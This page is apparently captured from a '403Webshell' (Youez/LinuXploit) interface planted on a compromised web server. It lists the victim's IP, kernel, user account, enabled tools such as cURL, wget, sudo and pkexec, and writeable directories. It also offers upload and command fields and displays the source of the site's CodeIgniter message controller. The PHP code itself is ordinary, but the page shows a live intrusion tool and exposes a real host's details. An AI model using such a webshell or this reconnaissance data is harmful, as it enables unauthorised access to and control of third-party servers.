403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.98
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/zomuaban.com/public_html/site/controllers/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/zomuaban.com/public_html/site/controllers/frontend/message_ajax.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Message_ajax extends MY_Controller {

	function __construct(){
		parent::__construct();	
		$this->load->model('message_model', 'message');
	}
	
	# Hàm này trả về tất cả tin nhắn chưa đọc
	public function get_new_message(){
		
		$message = $this->message-> get_unread_message();
		
		$msgId = [];
		foreach($message as $msg){
			array_push($msgId, $msg->id);
		}
		
		$totalMsg = count($message);
		if ($totalMsg < 10)$message = array_merge($message, $this->message-> get_lastest_message(10 - $totalMsg, $msgId));
		
		$this->setMsg('ok', getView('modules/message/temp/msg-list-temp', array('msgs'=>$message), true));
		
		echo json_encode($this->getState());
	
	}
	
	
	# Hàm này gọi ajax để cập nhật cho những tin nhắn vừa đọc
	public function update_read_message(){
		$pData = ajax_safe_get();
		
		# set lại thời gian lần cuối đọc tin nhắn
		set_my_data('lasttime_read_message', now());
		
		$this->db->set('read', 1);
		$this->db->where_in('id', $pData->msgIds);
		$this->db->where('read', 0);
		$this->db->update(tableConf('message'));
		
		$this->setMsg('ok');
		
		echo json_encode($this->getState());
	
	}
	
	# Hàm này gọi ajax để cập nhật cho những tin nhắn vừa đọc
	public function remove_message(){
		$pData = ajax_safe_get();	
		
		$this->db->where('receive', mine()->email);
		$this->db->where_in('id', $pData->ids);
		$this->db->delete(tableConf('message'));
		
		$this->setMsg('ok');
		
		echo json_encode($this->getState());
	
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit